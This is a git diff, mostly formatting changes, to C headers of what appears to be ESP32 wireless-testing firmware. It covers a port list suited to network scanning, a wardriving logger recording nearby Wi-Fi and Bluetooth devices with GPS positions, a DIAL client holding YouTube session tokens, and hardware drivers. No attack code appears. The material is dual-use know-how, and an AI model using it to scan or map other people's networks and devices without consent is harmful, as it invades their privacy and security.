+ 111, // RPCBind + 123, // NTP + 135, // MSRPC + 137, // NetBIOS Name Service + 138, // NetBIOS Datagram Service + 139, // NetBIOS Session Service + 143, // IMAP + 161, // SNMP + 389, // LDAP + 443, // HTTPS + 445, // SMB + 465, // SMTPS + 500, // IKE (VPN) + 514, // Syslog + 515, // LPD/LPR Printer + 587, // SMTP (submission) + 631, // IPP (Printing) + 636, // LDAPS + 993, // IMAPS + 995, // POP3S + 1080, // SOCKS Proxy + 1433, // MSSQL + 1434, // MSSQL Browser + 1521, // Oracle DB + 1701, // L2TP + 1723, // PPTP + 1883, // MQTT + 2049, // NFS + 2082, // cPanel + 2083, // cPanel SSL + 2086, // WHM + 2087, // WHM SSL + 2222, // Alternative SSH + 3306, // MySQL + 3389, // RDP + 5060, // SIP + 5222, // XMPP + 5432, // PostgreSQL + 5900, // VNC + 5901, // VNC-1 + 5902, // VNC-2 + 6379, // Redis + 8080, // HTTP Proxy + 8443, // HTTPS Alt + 8883, // MQTT SSL + 9100, // Printer + 27017, // MongoDB + 32400, // Plex Media Server + 51820, // Wireguard + 55443 // Alt HTTP +}; +#define NUM_PORTS (sizeof(COMMON_PORTS) / sizeof(COMMON_PORTS[0])) + #endif // WIFI_MANAGER_H \ No newline at end of file diff --git a/include/vendor/GPS/MicroNMEA.h b/include/vendor/GPS/MicroNMEA.h index 15003545..16b637e0 100644 --- a/include/vendor/GPS/MicroNMEA.h +++ b/include/vendor/GPS/MicroNMEA.h @@ -10,18 +10,17 @@ extern "C" { #endif -#include "esp_types.h" -#include "esp_event.h" -#include "esp_err.h" #include "driver/uart.h" +#include "esp_err.h" +#include "esp_event.h" +#include "esp_types.h" #define GPS_MAX_SATELLITES_IN_USE (12) #define GPS_MAX_SATELLITES_IN_VIEW (16) - -#define GPS_EPOCH_YEAR 2000 // GPS dates are relative to year 2000 -#define GPS_MIN_YEAR 0 // Minimum valid year offset (2000) -#define GPS_MAX_YEAR 99 // Maximum valid year offset (2099) +#define GPS_EPOCH_YEAR 2000 // GPS dates are relative to year 2000 +#define GPS_MIN_YEAR 0 // Minimum valid year offset (2000) +#define GPS_MAX_YEAR 99 // Maximum valid year offset (2099) #define NMEA_MAX_STATEMENT_ITEM_LENGTH (16) /** @@ -35,9 +34,9 @@ ESP_EVENT_DECLARE_BASE(ESP_NMEA_EVENT); * */ typedef enum { - GPS_FIX_INVALID, /*!< Not fixed */ - GPS_FIX_GPS, /*!< GPS */ - GPS_FIX_DGPS, /*!< Differential GPS */ + GPS_FIX_INVALID, /*!< Not fixed */ + GPS_FIX_GPS, /*!< GPS */ + GPS_FIX_DGPS, /*!< Differential GPS */ } gps_fix_t; /** @@ -45,9 +44,9 @@ typedef enum { * */ typedef enum { - GPS_MODE_INVALID = 1, /*!< Not fixed */ - GPS_MODE_2D, /*!< 2D GPS */ - GPS_MODE_3D /*!< 3D GPS */ + GPS_MODE_INVALID = 1, /*!< Not fixed */ + GPS_MODE_2D, /*!< 2D GPS */ + GPS_MODE_3D /*!< 3D GPS */ } gps_fix_mode_t; /** @@ -55,10 +54,10 @@ typedef enum { * */ typedef struct { - uint8_t num; /*!< Satellite number */ - uint8_t elevation; /*!< Satellite elevation */ - uint16_t azimuth; /*!< Satellite azimuth */ - uint8_t snr; /*!< Satellite signal noise ratio */ + uint8_t num; /*!< Satellite number */ + uint8_t elevation; /*!< Satellite elevation */ + uint16_t azimuth; /*!< Satellite azimuth */ + uint8_t snr; /*!< Satellite signal noise ratio */ } gps_satellite_t; /** @@ -66,10 +65,10 @@ typedef struct { * */ typedef struct { - uint8_t hour; /*!< Hour */ - uint8_t minute; /*!< Minute */ - uint8_t second; /*!< Second */ - uint16_t thousand; /*!< Thousand */ + uint8_t hour; /*!< Hour */ + uint8_t minute; /*!< Minute */ + uint8_t second; /*!< Second */ + uint16_t thousand; /*!< Thousand */ } gps_time_t; /** @@ -77,9 +76,9 @@ typedef struct { * */ typedef struct { - uint8_t day; /*!< Day (start from 1) */ - uint8_t month; /*!< Month (start from 1) */ - uint16_t year; /*!< Year (start from 2000) */ + uint8_t day; /*!< Day (start from 1) */ + uint8_t month; /*!< Month (start from 1) */ + uint16_t year; /*!< Year (start from 2000) */ } gps_date_t; /** @@ -87,59 +86,62 @@ typedef struct { * */ typedef enum { - STATEMENT_UNKNOWN = 0, /*!< Unknown statement */ - STATEMENT_GGA, /*!< GGA */ - STATEMENT_GSA, /*!< GSA */ - STATEMENT_RMC, /*!< RMC */ - STATEMENT_GSV, /*!< GSV */ - STATEMENT_GLL, /*!< GLL */ - STATEMENT_VTG /*!< VTG */ + STATEMENT_UNKNOWN = 0, /*!< Unknown statement */ + STATEMENT_GGA, /*!< GGA */ + STATEMENT_GSA, /*!< GSA */ + STATEMENT_RMC, /*!< RMC */ + STATEMENT_GSV, /*!< GSV */ + STATEMENT_GLL, /*!< GLL */ + STATEMENT_VTG /*!< VTG */ } nmea_statement_t; /** * @brief GPS object */ typedef struct { - float latitude; /*!< Latitude (degrees) */ - float longitude; /*!< Longitude (degrees) */ - float altitude; /*!< Altitude (meters) */ - gps_fix_t fix; /*!< Fix status */ - uint8_t sats_in_use; /*!< Number of satellites in use */ - gps_time_t tim; /*!< time in UTC */ - gps_fix_mode_t fix_mode; /*!< Fix mode */ - uint8_t sats_id_in_use[GPS_MAX_SATELLITES_IN_USE]; /*!< ID list of satellite in use */ - float dop_h; /*!< Horizontal dilution of precision */ - float dop_p; /*!< Position dilution of precision */ - float dop_v; /*!< Vertical dilution of precision */ - uint8_t sats_in_view; /*!< Number of satellites in view */ - gps_satellite_t sats_desc_in_view[GPS_MAX_SATELLITES_IN_VIEW]; /*!< Information of satellites in view */ - gps_date_t date; /*!< Fix date */ - bool valid; /*!< GPS validity */ - float speed; /*!< Ground speed, unit: m/s */ - float cog; /*!< Course over ground */ - float variation; /*!< Magnetic variation */ + float latitude; /*!< Latitude (degrees) */ + float longitude; /*!< Longitude (degrees) */ + float altitude; /*!< Altitude (meters) */ + gps_fix_t fix; /*!< Fix status */ + uint8_t sats_in_use; /*!< Number of satellites in use */ + gps_time_t tim; /*!< time in UTC */ + gps_fix_mode_t fix_mode; /*!< Fix mode */ + uint8_t sats_id_in_use[GPS_MAX_SATELLITES_IN_USE]; /*!< ID list of satellite + in use */ + float dop_h; /*!< Horizontal dilution of precision */ + float dop_p; /*!< Position dilution of precision */ + float dop_v; /*!< Vertical dilution of precision */ + uint8_t sats_in_view; /*!< Number of satellites in view */ + gps_satellite_t + sats_desc_in_view[GPS_MAX_SATELLITES_IN_VIEW]; /*!< Information of + satellites in view */ + gps_date_t date; /*!< Fix date */ + bool valid; /*!< GPS validity */ + float speed; /*!< Ground speed, unit: m/s */ + float cog; /*!< Course over ground */ + float variation; /*!< Magnetic variation */ } gps_t; /** * @brief GPS parser library runtime structure */ typedef struct { - uint8_t item_pos; /*!< Current position in item */ - uint8_t item_num; /*!< Current item number */ - uint8_t asterisk; /*!< Asterisk detected flag */ - uint8_t crc; /*!< Calculated CRC value */ - uint8_t parsed_statement; /*!< OR'd of statements that have been parsed */ - uint8_t sat_num; /*!< Satellite number */ - uint8_t sat_count; /*!< Satellite count */ - uint8_t cur_statement; /*!< Current statement ID */ - uint32_t all_statements; /*!< All statements mask */ - char item_str[NMEA_MAX_STATEMENT_ITEM_LENGTH]; /*!< Current item */ - gps_t parent; /*!< Parent class */ - uart_port_t uart_port; /*!< Uart port number */ - uint8_t *buffer; /*!< Runtime buffer */ - esp_event_loop_handle_t event_loop_hdl; /*!< Event loop handle */ - TaskHandle_t tsk_hdl; /*!< NMEA Parser task handle */ - QueueHandle_t event_queue; /*!< UART event queue handle */ + uint8_t item_pos; /*!< Current position in item */ + uint8_t item_num; /*!< Current item number */ + uint8_t asterisk; /*!< Asterisk detected flag */ + uint8_t crc; /*!< Calculated CRC value */ + uint8_t parsed_statement; /*!< OR'd of statements that have been parsed */ + uint8_t sat_num; /*!< Satellite number */ + uint8_t sat_count; /*!< Satellite count */ + uint8_t cur_statement; /*!< Current statement ID */ + uint32_t all_statements; /*!< All statements mask */ + char item_str[NMEA_MAX_STATEMENT_ITEM_LENGTH]; /*!< Current item */ + gps_t parent; /*!< Parent class */ + uart_port_t uart_port; /*!< Uart port number */ + uint8_t *buffer; /*!< Runtime buffer */ + esp_event_loop_handle_t event_loop_hdl; /*!< Event loop handle */ + TaskHandle_t tsk_hdl; /*!< NMEA Parser task handle */ + QueueHandle_t event_queue; /*!< UART event queue handle */ } esp_gps_t; /** @@ -147,15 +149,15 @@ typedef struct { * */ typedef struct { - struct { - uart_port_t uart_port; /*!< UART port number */ - uint32_t rx_pin; /*!< UART Rx Pin number */ - uint32_t baud_rate; /*!< UART baud rate */ - uart_word_length_t data_bits; /*!< UART data bits length */ - uart_parity_t parity; /*!< UART parity */ - uart_stop_bits_t stop_bits; /*!< UART stop bits length */ - uint32_t event_queue_size; /*!< UART event queue size */ - } uart; /*!< UART specific configuration */ + struct { + uart_port_t uart_port; /*!< UART port number */ + uint32_t rx_pin; /*!< UART Rx Pin number */ + uint32_t baud_rate; /*!< UART baud rate */ + uart_word_length_t data_bits; /*!< UART data bits length */ + uart_parity_t parity; /*!< UART parity */ + uart_stop_bits_t stop_bits; /*!< UART stop bits length */ + uint32_t event_queue_size; /*!< UART event queue size */ + } uart; /*!< UART specific configuration */ } nmea_parser_config_t; /** @@ -171,39 +173,39 @@ typedef void *nmea_parser_handle_t; #ifdef CONFIG_GPS_UART_RX_PIN -#define NMEA_PARSER_CONFIG_DEFAULT() \ - { \ - .uart = { \ - .uart_port = UART_NUM_1, \ - .rx_pin = CONFIG_GPS_UART_RX_PIN,\ - .baud_rate = 9600, \ - .data_bits = UART_DATA_8_BITS, \ - .parity = UART_PARITY_DISABLE, \ - .stop_bits = UART_STOP_BITS_1, \ - .event_queue_size = 16 \ - } \ - } +#define NMEA_PARSER_CONFIG_DEFAULT() \ + { \ + .uart = { \ + .uart_port = UART_NUM_1, \ + .rx_pin = CONFIG_GPS_UART_RX_PIN, \ + .baud_rate = 9600, \ + .data_bits = UART_DATA_8_BITS, \ + .parity = UART_PARITY_DISABLE, \ + .stop_bits = UART_STOP_BITS_1, \ + .event_queue_size = 16 \ + } \ + } #else - #define NMEA_PARSER_CONFIG_DEFAULT() \ - { \ - .uart = { \ - .uart_port = UART_NUM_1, \ - .rx_pin = 1, \ - .baud_rate = 9600, \ - .data_bits = UART_DATA_8_BITS, \ - .parity = UART_PARITY_DISABLE, \ - .stop_bits = UART_STOP_BITS_1, \ - .event_queue_size = 16 \ - } \ - } +#define NMEA_PARSER_CONFIG_DEFAULT() \ + { \ + .uart = { \ + .uart_port = UART_NUM_1, \ + .rx_pin = 1, \ + .baud_rate = 9600, \ + .data_bits = UART_DATA_8_BITS, \ + .parity = UART_PARITY_DISABLE, \ + .stop_bits = UART_STOP_BITS_1, \ + .event_queue_size = 16 \ + } \ + } #endif /** * @brief NMEA Parser Event ID * */ typedef enum { - GPS_UPDATE, /*!< GPS information has been updated */ - GPS_UNKNOWN /*!< Unknown statements detected */ + GPS_UPDATE, /*!< GPS information has been updated */ + GPS_UNKNOWN /*!< Unknown statements detected */ } nmea_event_id_t; /** @@ -234,7 +236,9 @@ esp_err_t nmea_parser_deinit(nmea_parser_handle_t nmea_hdl); * - ESP_ERR_INVALIG_ARG: Invalid combination of event base and event id * - Others: Fail */ -esp_err_t nmea_parser_add_handler(nmea_parser_handle_t nmea_hdl, esp_event_handler_t event_handler, void *handler_args); +esp_err_t nmea_parser_add_handler(nmea_parser_handle_t nmea_hdl, + esp_event_handler_t event_handler, + void *handler_args); /** * @brief Remove user defined handler for NMEA parser @@ -246,15 +250,16 @@ esp_err_t nmea_parser_add_handler(nmea_parser_handle_t nmea_hdl, esp_event_handl * - ESP_ERR_INVALIG_ARG: Invalid combination of event base and event id * - Others: Fail */ -esp_err_t nmea_parser_remove_handler(nmea_parser_handle_t nmea_hdl, esp_event_handler_t event_handler); +esp_err_t nmea_parser_remove_handler(nmea_parser_handle_t nmea_hdl, + esp_event_handler_t event_handler); // Helper functions static inline uint16_t gps_get_absolute_year(uint16_t year_offset) { - return GPS_EPOCH_YEAR + year_offset; + return GPS_EPOCH_YEAR + year_offset; } static inline bool gps_is_valid_year(uint16_t year_offset) { - return (year_offset >= GPS_MIN_YEAR && year_offset <= GPS_MAX_YEAR); + return (year_offset >= GPS_MIN_YEAR && year_offset <= GPS_MAX_YEAR); } #ifdef __cplusplus diff --git a/include/vendor/GPS/gps_logger.h b/include/vendor/GPS/gps_logger.h index 63951b80..453a9bf3 100644 --- a/include/vendor/GPS/gps_logger.h +++ b/include/vendor/GPS/gps_logger.h @@ -1,65 +1,65 @@ #ifndef WARDRIVING_CSV_H #define WARDRIVING_CSV_H -#include -#include -#include #include "esp_err.h" #include "vendor/GPS/MicroNMEA.h" +#include +#include +#include // Define constants #define GPS_MAX_FILE_NAME_LENGTH 64 #define BUFFER_SIZE 4096 -#define MIN_SPEED_THRESHOLD 0.1 // Minimum 0.1 m/s (~0.36 km/h) -#define MAX_SPEED_THRESHOLD 340.0 // Maximum 340 m/s (~1224 km/h) +#define MIN_SPEED_THRESHOLD 0.1 // Minimum 0.1 m/s (~0.36 km/h) +#define MAX_SPEED_THRESHOLD 340.0 // Maximum 340 m/s (~1224 km/h) // wardriving data structure typedef struct { - char ssid[32]; - char bssid[18]; - int rssi; - int channel; - double latitude; - double longitude; - double altitude; - double accuracy; - char encryption_type[8]; // WPA2, WPA, WEP, or OPEN - - // New optional GPS quality metrics - struct { - uint8_t satellites_used; - float hdop; - float speed; // in m/s - float course; // in degrees - uint8_t fix_quality; // 0=no fix, 1=GPS fix, 2=DGPS fix - float magnetic_var; // magnetic variation - float geoid_sep; // geoid separation - bool has_valid_fix; // indicates if GPS data is valid - } gps_quality; - - // Add BLE fields - struct { - char ble_mac[18]; - int ble_rssi; - char ble_name[32]; - uint8_t ble_type; // 0=Classic, 1=BLE, 2=Dual - bool is_ble_device; // Flag to identify BLE entries - } ble_data; - + char ssid[32]; + char bssid[18]; + int rssi; + int channel; + double latitude; + double longitude; + double altitude; + double accuracy; + char encryption_type[8]; // WPA2, WPA, WEP, or OPEN + + // New optional GPS quality metrics + struct { + uint8_t satellites_used; + float hdop; + float speed; // in m/s + float course; // in degrees + uint8_t fix_quality; // 0=no fix, 1=GPS fix, 2=DGPS fix + float magnetic_var; // magnetic variation + float geoid_sep; // geoid separation + bool has_valid_fix; // indicates if GPS data is valid + } gps_quality; + + // Add BLE fields + struct { + char ble_mac[18]; + int ble_rssi; + char ble_name[32]; + uint8_t ble_type; // 0=Classic, 1=BLE, 2=Dual + bool is_ble_device; // Flag to identify BLE entries + } ble_data; + } wardriving_data_t; // Function prototypes -esp_err_t csv_write_header(FILE* f); -void get_next_csv_file_name(char *file_name_buffer, const char* base_name); -int get_next_csv_file_index(const char* base_name); -esp_err_t csv_file_open(const char* base_file_name); +esp_err_t csv_write_header(FILE *f); +void get_next_csv_file_name(char *file_name_buffer, const char *base_name); +int get_next_csv_file_index(const char *base_name); +esp_err_t csv_file_open(const char *base_file_name); esp_err_t csv_write_data_to_buffer(wardriving_data_t *data); esp_err_t csv_flush_buffer_to_file(); void csv_file_close(); // New helper functions void populate_gps_quality_data(wardriving_data_t *data, const gps_t *gps); -const char* get_gps_quality_string(const wardriving_data_t *data); +const char *get_gps_quality_string(const wardriving_data_t *data); void gps_info_display_task(void *pvParameters); #endif // WARDRIVING_CSV_H \ No newline at end of file diff --git a/include/vendor/dial_client.h b/include/vendor/dial_client.h index 6f803e88..a4cfbfd7 100644 --- a/include/vendor/dial_client.h +++ b/include/vendor/dial_client.h @@ -1,40 +1,41 @@ #ifndef DIAL_CLIENT_H #define DIAL_CLIENT_H -#include -#include -#include #include "esp_err.h" -#include "lwip/sockets.h" -#include "lwip/netdb.h" -#include "lwip/inet.h" #include "esp_log.h" - +#include "lwip/inet.h" +#include "lwip/netdb.h" +#include "lwip/sockets.h" +#include +#include +#include typedef struct { - char uniqueServiceName[128]; - char location[256]; - char usn[128]; - char screenID[64]; - char UUID[37]; // UUID for the session - char YoutubeToken[128]; // YouTube lounge token - char gsession[64]; // gsession ID - char SID[64]; // Session ID (SID) - char listID[64]; // Playlist list ID (LID) - char RID[64]; + char uniqueServiceName[128]; + char location[256]; + char usn[128]; + char screenID[64]; + char UUID[37]; // UUID for the session + char YoutubeToken[128]; // YouTube lounge token + char gsession[64]; // gsession ID + char SID[64]; // Session ID (SID) + char listID[64]; // Playlist list ID (LID) + char RID[64]; } Device; // DIAL Client functions typedef struct { - int socket_fd; - struct sockaddr_in multicast_addr; + int socket_fd; + struct sockaddr_in multicast_addr; } DIALClient; // Initialize the DIAL Client esp_err_t dial_client_init(DIALClient *client); // Discover devices on the network -esp_err_t dial_client_discover_devices(DIALClient *client, Device *devices, size_t max_devices, size_t *device_count); +esp_err_t dial_client_discover_devices(DIALClient *client, Device *devices, + size_t max_devices, + size_t *device_count); // Parse SSDP Response bool parse_ssdp_response(const char *response, Device *device); diff --git a/include/vendor/drivers/CH422G.h b/include/vendor/drivers/CH422G.h index 062c12fb..1b02bf12 100644 --- a/include/vendor/drivers/CH422G.h +++ b/include/vendor/drivers/CH422G.h @@ -5,9 +5,9 @@ #ifndef CH422G_H #define CH422G_H -#include -#include "esp_err.h" #include "driver/i2c.h" +#include "esp_err.h" +#include #ifdef __cplusplus extern "C" { @@ -17,13 +17,13 @@ extern "C" { * @brief CH422G device structure */ typedef struct { - i2c_port_t i2c_num; /*!< I2C port number */ - uint32_t i2c_address; /*!< I2C device address */ - struct { - uint8_t wr_set; /*!< WR_SET register value */ - uint8_t wr_oc; /*!< WR_OC register value */ - uint8_t wr_io; /*!< WR_IO register value */ - } regs; /*!< Internal registers */ + i2c_port_t i2c_num; /*!< I2C port number */ + uint32_t i2c_address; /*!< I2C device address */ + struct { + uint8_t wr_set; /*!< WR_SET register value */ + uint8_t wr_oc; /*!< WR_OC register value */ + uint8_t wr_io; /*!< WR_IO register value */ + } regs; /*!< Internal registers */ } esp_io_expander_ch422g_t; /** @@ -34,7 +34,8 @@ typedef struct { * @param out_dev Pointer to store the allocated device handle * @return esp_err_t ESP_OK on success, or appropriate error code */ -esp_err_t ch422g_new_device(i2c_port_t i2c_num, uint32_t i2c_address, esp_io_expander_ch422g_t **out_dev); +esp_err_t ch422g_new_device(i2c_port_t i2c_num, uint32_t i2c_address, + esp_io_expander_ch422g_t **out_dev); /** * @brief Delete a CH422G device @@ -42,7 +43,8 @@ esp_err_t ch422g_new_device(i2c_port_t i2c_num, uint32_t i2c_address, esp_io_exp * @param dev Pointer to the CH422G device to delete * @return esp_err_t ESP_OK on success, or appropriate error code */ -void cleanup_resources(esp_io_expander_ch422g_t *ch422g_dev, i2c_port_t i2c_num); +void cleanup_resources(esp_io_expander_ch422g_t *ch422g_dev, + i2c_port_t i2c_num); /** * @brief Read the input register of the CH422G device @@ -60,7 +62,8 @@ esp_err_t ch422g_read_input_reg(esp_io_expander_ch422g_t *dev, uint32_t *value); * @param value Value to write to the output register * @return esp_err_t ESP_OK on success, or appropriate error code */ -esp_err_t ch422g_write_output_reg(esp_io_expander_ch422g_t *dev, uint32_t value); +esp_err_t ch422g_write_output_reg(esp_io_expander_ch422g_t *dev, + uint32_t value); /** * @brief Read the output register of the CH422G device @@ -69,7 +72,8 @@ esp_err_t ch422g_write_output_reg(esp_io_expander_ch422g_t *dev, uint32_t value) * @param value Pointer to store the read value * @return esp_err_t ESP_OK on success, or appropriate error code */ -esp_err_t ch422g_read_output_reg(esp_io_expander_ch422g_t *dev, uint32_t *value); +esp_err_t ch422g_read_output_reg(esp_io_expander_ch422g_t *dev, + uint32_t *value); /** * @brief Write the direction register of the CH422G device @@ -78,7 +82,8 @@ esp_err_t ch422g_read_output_reg(esp_io_expander_ch422g_t *dev, uint32_t *value) * @param value Direction value to write (0 for input, non-zero for output) * @return esp_err_t ESP_OK on success, or appropriate error code */ -esp_err_t ch422g_write_direction_reg(esp_io_expander_ch422g_t *dev, uint32_t value); +esp_err_t ch422g_write_direction_reg(esp_io_expander_ch422g_t *dev, + uint32_t value); /** * @brief Read the direction register of the CH422G device @@ -87,7 +92,8 @@ esp_err_t ch422g_write_direction_reg(esp_io_expander_ch422g_t *dev, uint32_t val * @param value Pointer to store the read value * @return esp_err_t ESP_OK on success, or appropriate error code */ -esp_err_t ch422g_read_direction_reg(esp_io_expander_ch422g_t *dev, uint32_t *value); +esp_err_t ch422g_read_direction_reg(esp_io_expander_ch422g_t *dev, + uint32_t *value); /** * @brief Reset the CH422G device to default configuration diff --git a/include/vendor/drivers/ST7262.h b/include/vendor/drivers/ST7262.h index 6462507d..dce1a6b4 100644 --- a/include/vendor/drivers/ST7262.h +++ b/include/vendor/drivers/ST7262.h @@ -7,8 +7,6 @@ #ifndef LCD_ST7262_H #define LCD_ST7262_H - - #include "esp_err.h" #ifdef CONFIG_USE_7_INCHER #include "esp_lcd_types.h" @@ -22,7 +20,8 @@ extern "C" { /** * @brief Initialize the ST7262 LCD panel. * - * This function initializes the ST7262 LCD panel connected via the RGB interface. + * This function initializes the ST7262 LCD panel connected via the RGB + * interface. * * @return * - ESP_OK on success @@ -33,7 +32,8 @@ esp_err_t lcd_st7262_init(void); /** * @brief Deinitialize the ST7262 LCD panel. * - * This function deinitializes the ST7262 LCD panel and releases any allocated resources. + * This function deinitializes the ST7262 LCD panel and releases any allocated + * resources. * * @return * - ESP_OK on success @@ -44,7 +44,8 @@ esp_err_t lcd_st7262_deinit(void); /** * @brief Get the LCD panel handle. * - * This function returns the handle to the LCD panel, which can be used for further operations. + * This function returns the handle to the LCD panel, which can be used for + * further operations. * * @return * - esp_lcd_panel_handle_t on success @@ -57,7 +58,8 @@ esp_lcd_panel_handle_t lcd_st7262_get_panel_handle(void); /** * @brief Initialize LVGL display driver for the ST7262 LCD panel. * - * This function sets up the LVGL display driver and registers the flush callback. + * This function sets up the LVGL display driver and registers the flush + * callback. * * @return * - ESP_OK on success @@ -65,7 +67,6 @@ esp_lcd_panel_handle_t lcd_st7262_get_panel_handle(void); */ esp_err_t lcd_st7262_lvgl_init(void); - #endif #ifdef __cplusplus diff --git a/include/vendor/drivers/axp2101.h b/include/vendor/drivers/axp2101.h index 9038611f..a927caa1 100644 --- a/include/vendor/drivers/axp2101.h +++ b/include/vendor/drivers/axp2101.h @@ -6,46 +6,46 @@ // I2C configuration #ifdef CONFIG_IDF_TARGET_ESP32S3 -#define I2C_MASTER_NUM (I2C_NUM_1) // I2C port number +#define I2C_MASTER_NUM (I2C_NUM_1) // I2C port number #else -#define I2C_MASTER_NUM (I2C_NUM_0) // I2C port number +#define I2C_MASTER_NUM (I2C_NUM_0) // I2C port number #endif -#define I2C_MASTER_SDA_IO 10 // SDA pin -#define I2C_MASTER_SCL_IO 11 // SCL pin -#define I2C_MASTER_FREQ_HZ 100000 // I2C clock frequency -#define AXP2101_I2C_ADDR 0x34 // AXP2101 I2C address +#define I2C_MASTER_SDA_IO 10 // SDA pin +#define I2C_MASTER_SCL_IO 11 // SCL pin +#define I2C_MASTER_FREQ_HZ 100000 // I2C clock frequency +#define AXP2101_I2C_ADDR 0x34 // AXP2101 I2C address /** * @brief Check if the battery is connected - * + * * @return true if the battery is connected, false otherwise */ bool axp202_is_battery_connected(void); /** * @brief Check if the device is charging - * + * * @return true if charging, false otherwise */ bool axp202_is_charging(void); /** * @brief Initialize I2C and AXP2101 communication - * + * * @return esp_err_t ESP_OK if successful, an error code otherwise */ esp_err_t axp2101_init(void); /** * @brief Deinitialize I2C and AXP2101 communication - * + * * @return esp_err_t ESP_OK if successful, an error code otherwise */ esp_err_t axp2101_deinit(void); /** * @brief Get the power level from the AXP2101 module - * + * * @param[out] power_level Pointer to store the power level (0-100%) * @return esp_err_t ESP_OK if successful, an error code otherwise */ diff --git a/include/vendor/drivers/pcf8563.h b/include/vendor/drivers/pcf8563.h index 44da75e3..1d1398e6 100644 --- a/include/vendor/drivers/pcf8563.h +++ b/include/vendor/drivers/pcf8563.h @@ -1,52 +1,52 @@ #ifndef PCF8563_H #define PCF8563_H -#include +#include "driver/i2c.h" #include +#include #include -#include "driver/i2c.h" -#define PCF8563_SLAVE_ADDRESS (0x51) // 7-bit I2C Address +#define PCF8563_SLAVE_ADDRESS (0x51) // 7-bit I2C Address // Register map -#define PCF8563_STAT1_REG (0x00) -#define PCF8563_STAT2_REG (0x01) -#define PCF8563_SEC_REG (0x02) -#define PCF8563_MIN_REG (0x03) -#define PCF8563_HR_REG (0x04) -#define PCF8563_DAY_REG (0x05) -#define PCF8563_WEEKDAY_REG (0x06) -#define PCF8563_MONTH_REG (0x07) -#define PCF8563_YEAR_REG (0x08) -#define PCF8563_ALRM_MIN_REG (0x09) -#define PCF8563_SQW_REG (0x0D) -#define PCF8563_TIMER1_REG (0x0E) -#define PCF8563_TIMER2_REG (0x0F) - -#define PCF8563_VOL_LOW_MASK (0x80) -#define PCF8563_MINUTES_MASK (0x7F) -#define PCF8563_HOUR_MASK (0x3F) -#define PCF8563_DAY_MASK (0x3F) -#define PCF8563_WEEKDAY_MASK (0x07) -#define PCF8563_MONTH_MASK (0x1F) -#define PCF8563_CENTURY_MASK (0x80) +#define PCF8563_STAT1_REG (0x00) +#define PCF8563_STAT2_REG (0x01) +#define PCF8563_SEC_REG (0x02) +#define PCF8563_MIN_REG (0x03) +#define PCF8563_HR_REG (0x04) +#define PCF8563_DAY_REG (0x05) +#define PCF8563_WEEKDAY_REG (0x06) +#define PCF8563_MONTH_REG (0x07) +#define PCF8563_YEAR_REG (0x08) +#define PCF8563_ALRM_MIN_REG (0x09) +#define PCF8563_SQW_REG (0x0D) +#define PCF8563_TIMER1_REG (0x0E) +#define PCF8563_TIMER2_REG (0x0F) + +#define PCF8563_VOL_LOW_MASK (0x80) +#define PCF8563_MINUTES_MASK (0x7F) +#define PCF8563_HOUR_MASK (0x3F) +#define PCF8563_DAY_MASK (0x3F) +#define PCF8563_WEEKDAY_MASK (0x07) +#define PCF8563_MONTH_MASK (0x1F) +#define PCF8563_CENTURY_MASK (0x80) // Struct for date and time typedef struct { - uint16_t year; - uint8_t month; - uint8_t day; - uint8_t hour; - uint8_t minute; - uint8_t second; + uint16_t year; + uint8_t month; + uint8_t day; + uint8_t hour; + uint8_t minute; + uint8_t second; } RTC_Date; // Struct for alarm settings typedef struct { - uint8_t minute; - uint8_t hour; - uint8_t day; - uint8_t weekday; + uint8_t minute; + uint8_t hour; + uint8_t day; + uint8_t weekday; } RTC_Alarm; // Functions diff --git a/include/vendor/keyboard_handler.h b/include/vendor/keyboard_handler.h index 0881a44f..cba3f8e3 100644 --- a/include/vendor/keyboard_handler.h +++ b/include/vendor/keyboard_handler.h @@ -8,68 +8,68 @@ #pragma once -#include -#include -#include #include "driver/gpio.h" #include "vendor/m5/m5_keyboard_def.h" +#include +#include +#include #ifdef __cplusplus extern "C" { #endif typedef struct { - int x; - int y; + int x; + int y; } Point2D_t; typedef struct { - bool tab; - bool fn; - bool shift; - bool ctrl; - bool opt; - bool alt; - bool del; - bool enter; - bool space; - uint8_t modifiers; + bool tab; + bool fn; + bool shift; + bool ctrl; + bool opt; + bool alt; + bool del; + bool enter; + bool space; + uint8_t modifiers; - char* word; - size_t word_len; - uint8_t* hid_keys; - size_t hid_keys_len; - uint8_t* modifier_keys; - size_t modifier_keys_len; + char *word; + size_t word_len; + uint8_t *hid_keys; + size_t hid_keys_len; + uint8_t *modifier_keys; + size_t modifier_keys_len; - void (*reset)(struct KeysState_t* self); + void (*reset)(struct KeysState_t *self); } KeysState_t; typedef struct { - Point2D_t* key_list_buffer; - size_t key_list_buffer_len; - Point2D_t* key_pos_print_keys; - size_t key_pos_print_keys_len; - Point2D_t* key_pos_hid_keys; - size_t key_pos_hid_keys_len; - Point2D_t* key_pos_modifier_keys; - size_t key_pos_modifier_keys_len; - KeysState_t keys_state_buffer; - bool is_caps_locked; - uint8_t last_key_size; + Point2D_t *key_list_buffer; + size_t key_list_buffer_len; + Point2D_t *key_pos_print_keys; + size_t key_pos_print_keys_len; + Point2D_t *key_pos_hid_keys; + size_t key_pos_hid_keys_len; + Point2D_t *key_pos_modifier_keys; + size_t key_pos_modifier_keys_len; + KeysState_t keys_state_buffer; + bool is_caps_locked; + uint8_t last_key_size; } Keyboard_t; // Function declarations -void keyboard_init(Keyboard_t* keyboard); -void keyboard_begin(Keyboard_t* keyboard); -void keyboard_set_output(const int* pinList, size_t pinCount, uint8_t output); -uint8_t keyboard_get_input(const int* pinList, size_t pinCount); -uint8_t keyboard_get_key(const Keyboard_t* keyboard, Point2D_t keyCoor); -void keyboard_update_key_list(Keyboard_t* keyboard); -uint8_t keyboard_is_pressed(const Keyboard_t* keyboard); -bool keyboard_is_change(Keyboard_t* keyboard); -bool keyboard_is_key_pressed(const Keyboard_t* keyboard, char c); -void keyboard_update_keys_state(Keyboard_t* keyboard); +void keyboard_init(Keyboard_t *keyboard); +void keyboard_begin(Keyboard_t *keyboard); +void keyboard_set_output(const int *pinList, size_t pinCount, uint8_t output); +uint8_t keyboard_get_input(const int *pinList, size_t pinCount); +uint8_t keyboard_get_key(const Keyboard_t *keyboard, Point2D_t keyCoor); +void keyboard_update_key_list(Keyboard_t *keyboard); +uint8_t keyboard_is_pressed(const Keyboard_t *keyboard); +bool keyboard_is_change(Keyboard_t *keyboard); +bool keyboard_is_key_pressed(const Keyboard_t *keyboard, char c); +void keyboard_update_keys_state(Keyboard_t *keyboard); #ifdef __cplusplus } diff --git a/include/vendor/led/led_strip.h b/include/vendor/led/led_strip.h index a4e99467..dd9a0247 100644 --- a/include/vendor/led/led_strip.h +++ 